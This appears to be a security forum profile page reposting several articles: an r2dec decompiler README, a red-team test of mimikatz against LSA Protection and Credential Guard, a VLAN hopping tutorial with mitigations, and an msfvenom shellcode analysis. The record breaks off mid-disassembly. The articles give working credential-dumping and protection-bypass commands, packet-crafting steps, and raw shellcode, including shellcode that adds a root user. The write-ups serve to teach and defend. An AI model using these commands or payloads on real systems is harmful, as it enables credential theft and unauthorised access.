Jump to content

Nytro

Administrators
  • Content Count

    15880
  • Joined

  • Last visited

  • Days Won

    214

Nytro last won the day on September 21

Nytro had the most liked content!

Community Reputation

3282 Excellent

About Nytro

  • Rank
    Administrator
  • Birthday 03/11/1991

Recent Profile Visitors

19793 profile views
  1. Nytro

    Wtf Linus Torvalds ????

    Face cineva un patch pentru kernel, prin care sa introduca un modul de inteligenta artificiala care sa invete cum se comporta user-ul in functie de system call-uri si daca ajunge sa streseze kernelul (poate cu prea multe IO) - sa introduca un delay de consolare, urmat de un halt in cazul in care nu se opreste? "Kernels have feelings too!"
  2. Nytro

    Wtf Linus Torvalds ????

    Da... "apologizes for 'unprofessional and uncalled for' behavior" https://www.cnbc.com/2018/09/17/linux-creator-linus-torvalds-takes-time-off-apologizes-for-behavior.html Asta inseamna ca nu o sa mai avem asa ceva?
  3. r2dec Converts asm to pseudo-C code. Software Requirements Requires radare2 version 2.9.0 or newer. Install Follow the following steps to install r2dec via r2pm r2pm init r2pm install r2dec done Usage open with radare2 your file analize the function you want to disassemble (af) run the plugin via pdd done. Arguments [0x00000000]> pdd? Usage: pdd [args] - core plugin for r2dec pdd - decompile current function pdd? - show this help pdda - decompile current function with side assembly pddb - decompile current function but shows only scopes pddu - install/upgrade r2dec via r2pm pddi - generates the issue data Environment R2DEC_HOME defaults to the root directory of the r2dec repo [0x00000000]> pdd --help r2dec [options] --help | this help message --assembly | shows pseudo next to the assembly --blocks | shows only scopes blocks --colors | enables syntax colors --casts | shows all casts in the pseudo code --debug | do not catch exceptions --html | outputs html data instead of text --issue | generates the json used for the test suite --paddr | all xrefs uses physical addresses instead of virtual addresses --xrefs | shows also instruction xrefs in the pseudo code Radare2 Evaluable vars You can use these in your .radare2rc file. r2dec.casts | if false, hides all casts in the pseudo code. r2dec.asm | if true, shows pseudo next to the assembly. r2dec.blocks | if true, shows only scopes blocks. r2dec.paddr | if true, all xrefs uses physical addresses compare. r2dec.xrefs | if true, shows all xrefs in the pseudo code. r2dec.theme | defines the color theme to be used on r2dec. e scr.html | outputs html data instead of text. e scr.color | enables syntax colors. Report an Issue open with radare2 your file analize the function you want to disassemble (af) give the data to the plugin via pddi or pdd --issue insert the JSON returned by the previous command into the issue (you can also upload the output) done. Supported Arch arm avr m68k (experimental) mips ppc sparc v850 wasm (partial) x86-64 (intel syntax) Developing on r2dec Read DEVELOPERS.md Example This example shows a possible dump of the plugin. Source Code #include <stdio.h> int main(int argc, char const *argv[]) { int var = 0; while(var < 0x90) { if(var < 0x10) { var += 0x50; } var += 0x10; } return 0; } radare2 view ╭ (fcn) main 50 │ main (int arg1, int arg2); │ ; var int local_20h @ rbp-0x20 │ ; var int local_14h @ rbp-0x14 │ ; var signed int local_4h @ rbp-0x4 │ ; DATA XREF from entry0 (0x1041) │ 0x00001119 55 push rbp │ 0x0000111a 4889e5 mov rbp, rsp │ 0x0000111d 897dec mov dword [local_14h], edi ; arg1 │ 0x00001120 488975e0 mov qword [local_20h], rsi ; arg2 │ 0x00001124 c745fc000000. mov dword [local_4h], 0 │ ╭─< 0x0000112b eb0e jmp 0x113b │ │ ; CODE XREF from main (0x1142) │ ╭──> 0x0000112d 837dfc0f cmp dword [local_4h], 0xf ; [0xf:4]=0x3e000300 │ ╭───< 0x00001131 7f04 jg 0x1137 │ │⋮│ 0x00001133 8345fc50 add dword [local_4h], 0x50 ; 'P' │ │⋮│ ; CODE XREF from main (0x1131) │ ╰───> 0x00001137 8345fc10 add dword [local_4h], 0x10 │ ⋮│ ; CODE XREF from main (0x112b) │ ⋮╰─> 0x0000113b 817dfc8f0000. cmp dword [local_4h], 0x8f ; [0x8f:4]=0x2a800 │ ╰──< 0x00001142 7ee9 jle 0x112d │ 0x00001144 b800000000 mov eax, 0 │ 0x00001149 5d pop rbp ╰ 0x0000114a c3 ret r2dec pseudo-C code /* r2dec pseudo C output */ #include <stdint.h> int32_t main (int32_t argc, char ** argv) { char ** local_20h; int32_t local_14h; int32_t local_4h; local_14h = edi; local_20h = rsi; local_4h = 0; while (local_4h <= 0x8f) { if (local_4h <= 0xf) { local_4h += 0x50; } local_4h += 0x10; } eax = 0; return eax; } Sursa: https://github.com/wargio/r2dec-js
  4. Poking Around With 2 lsass Protection Options Welcome to my first post! I am a career blue teamer turned red teamer a few years back. My blue team background includes incident response, threat detection, malware analysis, and threat hunting in both Federal and Commercial sectors. Having spent a good amount of time analyzing malware and chasing attackers on networks, I now have an interest in helping to sharpen and challenge other fellow blue teamers. This was one of the reasons I decided to switch roles a bit and take on offensive security roles (red team) a while back (well that and I have always enjoyed looking ways to circumvent controls). And so I created this blog site to post observations along the way. I also plan to put content here that is very simple and has steps that blue teamers can follow if they want to become more familiar with certain tools/tactics. There are several red teamers and security experts leading the way with new research findings and releasing bleeding edge tools and techniques. The goal for this blog is to help other blue teamers become more familiar with the offensive security side of the house, and to do so with small achievable steps. This brief post is centered around looking at LSA Protection and Credential Guard against some of the commonly used mimikatz modules, as well as looking at workaround for erach. So…here we go! Testing Overview I have a very basic testing scenario: Testing host: Windows 10 Countermeasures tested: LSA Protection, Credential Guard Used mimikatz for credential dumping (note: there are tons of ways to run mimikatz — in memory, on disk, remotely as a .xsl file invoked via wmic, etc.; whatever method used, I am assuming you already have mimikatz running) Scenario 1: Windows 10 with LSA Protection First, I ran mimikatz without LSA Protection and validated that I was able to get credentials. I used the commonly used “sekurlsa::logonpasswords” mimikatz command to retrieve hashes and clear text passwords from lsass. Next, I enabled LSA Protection by following the steps posted at: https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection: Using regedit, I navigated to: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa Then I set the value of the registry key to: “RunAsPPL”=dword:00000001 Added RunAsPPL with a dword of 1 to HKLM\SYSTEM\CurrentControlSet\Control\Lsa rebooted After reboot, I ran the same “sekurlsa::logonpasswords” mimikatz command and observed the output: mimikatz sekurlsa::logonpasswords after enabling LSA Protection The LSA Protection is preventing the mimikatz module above from working. I also tried the mimikatz modules below: lsadump::secrets: Still worked and I was able to get syskey information to decrypt secrets from from the registry on disk lsadump::sam: Still works, since it’s reading credentials from the SAM on disk lsadump::lsa: Did not work: returned for each local account sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlmhash>: Did not work: Lastly, I also tried the golden ticket and dcsync options with mimikatz and both successfully worked (note: I had already compromised the test environment domain and had domain admin level rights before this test): kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /krbtgt:<krbtgt hash> /endin:<value> /renewmax:<value>: Successful lsadump::dcsync /domain:<domain> /user:<user>: Successful LSA Protection Bypass: Mimikatz has the mimidrv.sys driver that can bypass LSA Protection. I downloaded the mimikatz_trunk zip file from Ben Delpy’s mimikatz github repo, and copied the whole folder over, which included mimikatz.exe, mimidrv.sys, and mimilib.dll. I ran mimikatz.exe, and started the mimidrv.sys driver, and used that to remove LSA Protection from the lsass.exe process: In the same mimikatz session, I then ran sekurlsa::logonpasswords and then got clear text passwords and hashes, proving that the mimidrv.sys driver does effectively bypass and remove LSA Protection. This would be trivial for an attacker to do once they already have admin access to a system. In summary, LSA Protection seems to offer some protections against “out-of-the-box” mimikatz. However, as noted above the mimikatz driver bypasses LSA Protection settings allowing mimikatz to to steal clear text credentials and hashes. Also mimikatz and other credential dumpers can still dump hashes of local accounts since those hashes are on disk as opposed to in LSASS, where LSA Protection helps. Additionally, if an attacker has access to an LSA Protection-enabled system, the attacker can resort to keystroke logging or social engineering in order to get credentials. I would still recommend LSA Protection, as this would make an attacker take additional steps to dump credentials, but it is not a 100% bulletproof solution to credential dumping. Scenario 2: Windows 10 with Credential Guard I enabled Credential Guard by using the DG Readiness Powershell Script posted here: https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage I downloaded the ps script, set the execution policy to bypass, imported it, and ran it: .\DG_Readiness_Tool_v3.2.ps1 -Enable -AutoReboot Note: To disable run the same command but use -Disable instead. After rebooting I ran the “sekurlsa::logonpasswords” mimikatz command and received the following output: mimikatz sekurlsa::logonpasswords on system protected with Credential Guard Instead of the NTLM hash, Credential Guard returns an encrypted string. This is because Credential Guard isolates and protects secrets in an isolated lsass process using virtualization. The normal lsass process uses remote procedure calls to communicate with the isolated lsass process. Next I also tried the mimikatz modules below: lsadump::secrets: Still worked and I was able to get syskey information to decrypt secrets from from the registry on disk lsadump::sam: Still works, since it’s reading credentials from the SAM on disk lsadump::lsa: Did not work: returned for each local account sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlmhash>: Did not work: Lastly, I also tried the golden ticket and dcsync options with mimikatz and both successfully worked: kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /krbtgt:<krbtgt hash> /endin:<value> /renewmax:<value> lsadump::dcsync /domain:<domain> /user:<user>: Successful Credential Guard Workaround: I followed steps outlined by Ben Delpy at: “https://twitter.com/gentilkiwi/status/942912600991465472?lang=en” In a nutshell, I first ensured that the mimikatz mimilib.dll binary was in the same directory as mimikatz.exe, started mimikatz.exe, validated that Credential Guard was enabled (encrypted strings returned from sekurlsa::logonpasswords command), and ran the mimikatz “misc::memssp” command: Now we have an SSP injected into memory. In essence, mimikatz is registering mimilib.dll as an SSP, allowing mimikatz to log the passwords of all users who login to c:\windows\system32\mimilsa.log. Next I hit ctrl-alt-del and selected “Lock” and then logged in. After logging in, I opened a cmd prompt and typed “type c:\windows\system32\mimilsa.log” and verified that my clear text credentials there. In summary, Credential Guard seems to offer some protections against “out-of-the-box” mimikatz, as does LSA Protection. However, mimikatz has the ability to register a dll as SSP and obtain clear text credentials of all users who login. Also mimikatz and other credential dumpers can still dump hashes of local accounts since those hashes are on disk as opposed to in lsass. Additionally, just as with LSA Protection-enabled systems, attackers can resort to keylogging or social engineering to get credentials. I would still recommend Credential Guard, but know that it is not a 100% bulletproof solution to credential dumping. I would recommend looking into additional detections such as looking for “mimilsa.log” on systems. References “https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf” “https://adsecurity.org/?page_id=1821” ““https://twitter.com/gentilkiwi/status/942912600991465472?lang=en” “https://blog.stealthbits.com/stealing-credentials-with-a-security-support-provider-ssp/” “http://blog.jpcert.or.jp/2016/10/verification-of-ad9d.html” “http://www.thesecurityblogger.com/understanding-powersploit-mimikatz-and-defense/mimikatz-driver-remove-lsass-protection/” “https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection” “https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage” Sursa: https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a
  5. VLAN Hopping and Mitigation September 10, 2018 | Pam X Get the latest security news in your inbox. Labs Research Security Essentials All Blogs No thanks. Close this now. Twitter LinkedIn Facebook Google Plus Reddit We’ll start with a few concepts: VLAN A VLAN is used to share the physical network while creating virtual segmentations to divide specific groups. For example, a host on VLAN 1 is separated from any host on VLAN 2. Any packets sent between VLANs must go through a router or other layer 3 devices. Security is one of the many reasons network administrators configure VLANs. However, with an exploit known as 'VLAN Hopping', an attacker is able to bypass these security implementations. Learn more about network segmentation and VLANs here. VLAN Hopping This type of exploit allows an attacker to bypass any layer 2 restrictions built to divide hosts. With proper switch port configuration, an attacker would have to go through a router and any other layer 3 devices to access their target. However, many networks either have poor VLAN implementation or have misconfigurations which will allow for attackers to perform said exploit. In this article, I will go through the two primary methods of VLAN hopping, known as 'switched spoofing', and 'double tagging'. I will then discuss mitigation techniques. Switched Network It is crucial we understand how switches operate if we would like to find and exploit their vulnerabilities. We are not necessarily exploiting the device itself, but rather the protocols and configurations instructing how they operate. On a switch, a port is either configured as an access port or a trunking port. An access port is typically used when connecting a host to a switch. With the implementation of VLANs, each access port is assigned to only one VLAN. A trunking port is used when connecting two switches or a switch and a router together. Trunking ports allow for traffic from multiple VLANs. A trunk port can be configured manually or created dynamically using Dynamic Trunking Protocol (DTP). DTP is a Cisco proprietary protocol where one use is to dynamically establish a trunk link between two switches. Switched Spoofing VLAN Attack An attacker acts as a switch in order to trick a legitimate switch into creating a trunking link between them. As mentioned before, packets from any VLAN are allowed to pass through a trunking link. Once the trunk link is established, the attacker then has access to traffic from any VLAN. This exploit is only successful when the legitimate switch is configured to negotiate a trunk. This occurs when an interface is configured with either "dynamic desirable", "dynamic auto" or "trunk" mode. If the target switch has one of those modes configured, the attacker then can generate a DTP message from their computer and a trunk link can be formed. Double Tagging Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link. Another important point is, this attack is strictly one way as it is impossible to encapsulate the return packet. VLAN Hopping Exploit Scenario 1 - Switch Spoofing Attack In this scenario there exists the attacker, a switch, and the target server. The attacker is attached to the switch on interface FastEthernet 0/12 and the target server is attached to the switch on interface FastEthernet 0/11 and is a part of VLAN 2. Take a look at the following topology. Once you are familiar with the topology, take a look at a few of the configurations set for the switch: interface FastEthernet0/11 switchport mode access switchport mode nonegotiate switchport access vlan 2 ! interface FastEthernet0/12 switchport mode dynamic auto Hopefully, you can see the configuration issue with interface fa0/12. This port is set to accept incoming negotiations to determine whether the port is for access or trunking. Which means an attacker is able to perform a Switch Spooking attack. Once the attacker connects to the port they can then send a DTP message and a trunking link will be established. An attacker can use the program Yersinia to craft and send a DTP message. Yersinia is a penetration testing framework built to attack many protocols that reside on layer 2. It comes pre-installed with kali Linux and has an easy to use graphical user interface (GUI). Yersinia Homepage - http://www.yersinia.net/ To launch Yersinia: yersinia -G Here is a quick look at the GUI: Now to send a DTP message is as simple as the following 4 steps: click "Launch attack" click the tab "DTP" click "enable trunking" click "ok" Yersinia will the send out a DTP message and within a few seconds, a trunking link will be established. In our scenario, the attacker will then have access to all traffic flowing through VLAN 2 and can directly attack without going through any layer 3 devices. Scenario 2 - Double Tagging Attack In this scenario, there exists an attacker, 2 switches, and a target server. The attacker is attached to switch 1. Switch 1 is attached to switch 2 and finally, our target is attached to switch 2. Take a look at the following topology. Once you are familiar with the topology, take a look at a few of the configurations set for switch 1. interface FastEthernet0/12 switchport mode access switchport nonegotiate switchport access vlan 1 ! interface FastEthernet0/11 switchport trunk encapsulation dot1q switchport mode trunk switchport nonegotiate switchport trunk native vlan 1 From these configurations, we see that an attacker would be unable to perform a switch spoofing attack. However, we see that the attacker belongs to the native VLAN of the trunk port. Which means this topology is vulnerable to a Double Tagging attack. An attacker can use the program Scapy, to create the specially crafted frames needed for processing this attack. Scapy is a Python program created to manipulate packets. Scapy Homepage - https://scapy.net/ Scapy Documentation - http://scapy.readthedocs.io/en/latest/usage.html Start Scapy: sudo ./scapy Using the sendp() function to craft a packet: >>>sendp(Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='<destination IP', src='<source IP>')/ICMP()) This will generate a double 802.1q encapsulated packet for the target on VLAN 2. Take a look at the following topology to view how the switches manage this frame. From the picture, we can see that switch 1 reads and removes only the outside tag. It checks that the host is part of the stated VLAN and forwards the packet to all native VLAN ports (VLAN 1). Switch 2 then receives the packet with only one header left. It assumes the frame belongs to the stated VLAN on this tag (VLAN 2) and forwards to all ports configured for VLAN 2. The target then receives the packet sent by the attacker. VLAN = HOPPED. Due to the nature of this attack, it is strictly one way. Please also note that this attack may not work on new switches as documented here. Mitigation for VLAN Hopping Switched Spoofing To prevent a Switched Spoofing attack, there are a few steps you should take: Do not configure any access points with either of the following modes: "dynamic desirable", "dynamic auto", or "trunk". Manually configure access ports and disable DTP on all access ports. switchport mode access switchport mode nonegotiate Manually configure all trunk ports and disable DTP on all trunk ports. switchport mode trunk switchport mode nonegotiate Shutdown all interfaces that are not currently in use. Double Tagging To prevent a Double Tagging attack, keep the native VLAN of all trunk ports different from user VLANs. Final Note Switches were not built for security. However, it is important to utilize security measures at every level. If you are to take the time to segment your network, make sure it is done properly and securely. Be diligent when configuring your network. Sursa: https://www.alienvault.com/blogs/security-essentials/vlan-hopping-and-mitigation
  6. Analysing Msfvenom Payloads 19 minute read This post provides an analysis of three different payloads generated using msfvenom that target the Linux x86 platform: linux/x86/exec linux/x86/adduser linux/x86/chmod To do this, I will be using a combination of ndisasm, gdb and the sctest utility found within the libemu2 package. When using ndisasm and sctest, you will see that the n and e options of echo are used when piping the shellcode to them. This is to ensure that no new lines are added to the end of the shellcode, and to make echo interpret the backslashes as escape sequences. Without these two options, the shellcode when not be interpreted correctly. The ndisasm tool is used to reverse a series of bytes into the equivalent assembly code. Throughout these examples, the Intel syntax will be used. The sctest tool is used to emulate and provide human readable output of what the code is doing. For example, if a system call is made, sctest is capable of displaying what the human readable name was, as opposed to the system call number, as well as what values were passed as arguments. When gdb is used to step through the executing payload, the executable was created by taking the shellcode generated by msfvenom and placing it in the C application used throughout this series of posts Found Here. Analysis of linux/x86/exec The linux/x86/exec payload allows users to specify a command in the CMD option which will be executed with the payload. For this example, I specified whoami as the command: $ msfvenom -p linux/x86/exec CMD=whoami -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 42 bytes Final size of c file: 201 bytes unsigned char buf[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77" "\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80"; By testing this shellcode with sctest, we can see that the execution of whoami is being achieved by using the execve method: $ echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80" | sctest -v -Ss 100000 verbose = 1 execve int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]); cpu error error accessing 0x00000004 not mapped stepcount 15 int execve ( const char * dateiname = 0x00416fc0 => = "/bin/sh"; const char * argv[] = [ = 0x00416fb0 => = 0x00416fc0 => = "/bin/sh"; = 0x00416fb4 => = 0x00416fc8 => = "-c"; = 0x00416fb8 => = 0x0041701d => = "whoami"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none; ) = 0; When looking at the disassembly of the payload, however, the code looks quite different to what has been seen in my previous posts which use execve: $ echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel - 00000000 6A0B push byte +0xb 00000002 58 pop eax 00000003 99 cdq 00000004 52 push edx 00000005 66682D63 push word 0x632d 00000009 89E7 mov edi,esp 0000000B 682F736800 push dword 0x68732f 00000010 682F62696E push dword 0x6e69622f 00000015 89E3 mov ebx,esp 00000017 52 push edx 00000018 E807000000 call 0x24 0000001D 7768 ja 0x87 0000001F 6F outsd 00000020 61 popa 00000021 6D insd 00000022 6900575389E1 imul eax,[eax],dword 0xe1895357 00000028 CD80 int 0x80 In the shellcode I have previously created, I used the xor instruction to zero out registers. The msfvenom shellcode uses a very interesting alternative, and one which reduces the amount of shellcode required. Initially, 0xb is pushed on to the stack and then popped into $eax; this is the syscall number for execve. After doing this, it calls the cdq instruction. The cdq instruction extends the sign bit of the $eax register into the $edx register. As the sign bit is only set if the value is negative, this means the sign bit is 0, and thus fills $edx with 0. The reason this is required, is that the value in $edx is used as the third parameter of execve, which as can be seen from the sctest output, is set to 0. Next, the null byte stored in $edx is pushed on to the stack, followed by 0x632d. Converting this value to a string in Python reveals that this is the 2nd value in the argv array: $ python Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) [GCC 7.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> "\x2d\x63" '-c' The reason that $edx is pushed on to the stack ahead of -c is because all strings must be terminated with null bytes. The -c option of sh indicates what command it should run, as opposed to reading from stdin as per the man page: Read commands from the command_string operand instead of from the standard input. Special parameter 0 will be set from the command_name operand and the positional parameters ($1, $2, etc.) set from the remaining argument operands. After pushing the -c argument, 0x68732f and 0x6e69622f are pushed on to the stack, which together equate to /bin/sh: >>> "\x2F\x73\x68" '/sh' >>> "\x2F\x62\x69\x6E" '/bin' After this, the stack pointer ($esp) is then stored in $ebx (i.e. the first argument of execve) followed by the null byte in $edx being pushed on to the stack once more to terminate the string. Looking back to the call mapping from sctest, we can see that the /bin/sh passed as the first argument, and the /bin/sh passed as the first item of the argv parameter both reside in the same place in memory (0x00416fc0😞 const char * dateiname = 0x00416fc0 => = "/bin/sh"; const char * argv[] = [ = 0x00416fb0 => = 0x00416fc0 => = "/bin/sh"; This means that it will be the starting point for the second argument as well as the first. Once /bin/sh is stored on the stack and by proxy in $ebx, a variation of the CALL-POP method is used at 00000018: 00000018 E807000000 call 0x24 0000001D 7768 ja 0x87 0000001F 6F outsd 00000020 61 popa 00000021 6D insd 00000022 6900575389E1 imul eax,[eax],dword 0xe1895357 00000028 CD80 int 0x80 When the call instruction is used, the address of the instruction that directly proceeds it is pushed on to the stack. As the bytes that follow it are actually data, rather than instructions that are to be executed, this results in usable data being on the stack without the need to push it manually. The instructions found at the offset that is being called are \x57\x53\x89\xe1. This isn’t displayed properly in ndisasm, as there is data before it that is defined in place, but running these bytes through ndisasm on their own shows that it is pushing the value previously stored in $edi (-c) onto the stack, followed by the value in $ebx (/bin/sh) and then moving the stack pointer into $ecx: $ echo -ne "\x57\x53\x89\xe1" | ndisasm -b 32 -p intel - 00000000 57 push edi 00000001 53 push ebx 00000002 89E1 mov ecx,esp Examining the bytes between the call instruction and the mov into $ecx shows that the value that was pushed on to the stack is the whoami command that is to be executed: $ python Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) [GCC 7.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> "\x77\x68\x6f\x61\x6d\x69" 'whoami' At this point, all the required arguments are in the appropriate registers and the call to execve can be invoked by executing int 0x80. To verify this, I stepped through the shellcode in gdb. As can be seen in the output below, all the arguments are in the correct places: [----------------------------------registers-----------------------------------] EAX: 0xb ('\x0b') EBX: 0xffffc9de ("/bin/sh") ECX: 0xffffc9ce --> 0xffffc9de ("/bin/sh") EDX: 0x0 ESI: 0xf7fa5000 --> 0x1d7d6c EDI: 0xffffc9e6 --> 0x632d ('-c') EBP: 0xffffca28 --> 0x0 ESP: 0xffffc9ce --> 0xffffc9de ("/bin/sh") EIP: 0xffffca19 --> 0xf10080cd EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xffffca11: popa 0xffffca12: ins DWORD PTR es:[edi],dx 0xffffca13: imul eax,DWORD PTR [eax],0xe1895357 => 0xffffca19: int 0x80 0xffffca1b: add cl,dh 0xffffca1d: leave 0xffffca1e: (bad) 0xffffca1f: inc DWORD PTR [eax-0x36] [------------------------------------stack-------------------------------------] 0000| 0xffffc9ce --> 0xffffc9de ("/bin/sh") 0004| 0xffffc9d2 --> 0xffffc9e6 --> 0x632d ('-c') 0008| 0xffffc9d6 --> 0xffffca0e ("whoami") 0012| 0xffffc9da --> 0x0 0016| 0xffffc9de ("/bin/sh") 0020| 0xffffc9e2 --> 0x68732f ('/sh') 0024| 0xffffc9e6 --> 0x632d ('-c') 0028| 0xffffc9ea --> 0x56060000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xffffca19 And when executed, successfully calls whoami: $ ./test Shellcode length: 15 rastating Analysis of linux/x86/adduser The linux/x86/adduser payload creates a new user on the system. By default, the username and password for the new user are both metasploit and the default shell is sh. As the defaults for the payload are acceptable, I did not override them when generating the payload: $ msfvenom -p linux/x86/adduser -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 97 bytes Final size of c file: 433 bytes unsigned char buf[] = "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51" "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63" "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65" "\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73" "\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a" "\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58" "\xcd\x80\x6a\x01\x58\xcd\x80"; Testing the shellcode with sctest didn’t reveal any system calls, even with a higher level of verbosity: $ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | sctest -vvvv -Ss 100000 verbose = 4 [emu 0x0x56414d48e740 debug ] cpu state eip=0x00417000 [emu 0x0x56414d48e740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000 [emu 0x0x56414d48e740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000 [emu 0x0x56414d48e740 debug ] Flags: [emu 0x0x56414d48e740 debug ] cpu state eip=0x00417000 [emu 0x0x56414d48e740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000 [emu 0x0x56414d48e740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000 [emu 0x0x56414d48e740 debug ] Flags: [emu 0x0x56414d48e740 debug ] 31C9 xor ecx,ecx [emu 0x0x56414d48e740 debug ] cpu state eip=0x00417002 [emu 0x0x56414d48e740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000 [emu 0x0x56414d48e740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000 [emu 0x0x56414d48e740 debug ] Flags: PF ZF [emu 0x0x56414d48e740 debug ] 89CB mov ebx,ecx [emu 0x0x56414d48e740 debug ] cpu state eip=0x00417004 [emu 0x0x56414d48e740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000 [emu 0x0x56414d48e740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000 [emu 0x0x56414d48e740 debug ] Flags: PF ZF [emu 0x0x56414d48e740 debug ] 6A46 push byte 0x46 [emu 0x0x56414d48e740 debug ] cpu state eip=0x00417006 [emu 0x0x56414d48e740 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000 [emu 0x0x56414d48e740 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000 [emu 0x0x56414d48e740 debug ] Flags: PF ZF [emu 0x0x56414d48e740 debug ] 58 pop eax [emu 0x0x56414d48e740 debug ] cpu state eip=0x00417007 [emu 0x0x56414d48e740 debug ] eax=0x00000046 ecx=0x00000000 edx=0x00000000 ebx=0x00000000 [emu 0x0x56414d48e740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000 [emu 0x0x56414d48e740 debug ] Flags: PF ZF [emu 0x0x56414d48e740 debug ] CD80 int 0x80 stepcount 4 [emu 0x0x56414d48e740 debug ] cpu state eip=0x00417009 [emu 0x0x56414d48e740 debug ] eax=0x00000046 ecx=0x00000000 edx=0x00000000 ebx=0x00000000 [emu 0x0x56414d48e740 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000 [emu 0x0x56414d48e740 debug ] Flags: PF ZF Processing the shellcode through ndisasm produces quite a lot more code than the previous example: $ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel - 00000000 31C9 xor ecx,ecx 00000002 89CB mov ebx,ecx 00000004 6A46 push byte +0x46 00000006 58 pop eax 00000007 CD80 int 0x80 00000009 6A05 push byte +0x5 0000000B 58 pop eax 0000000C 31C9 xor ecx,ecx 0000000E 51 push ecx 0000000F 6873737764 push dword 0x64777373 00000014 682F2F7061 push dword 0x61702f2f 00000019 682F657463 push dword 0x6374652f 0000001E 89E3 mov ebx,esp 00000020 41 inc ecx 00000021 B504 mov ch,0x4 00000023 CD80 int 0x80 00000025 93 xchg eax,ebx 00000026 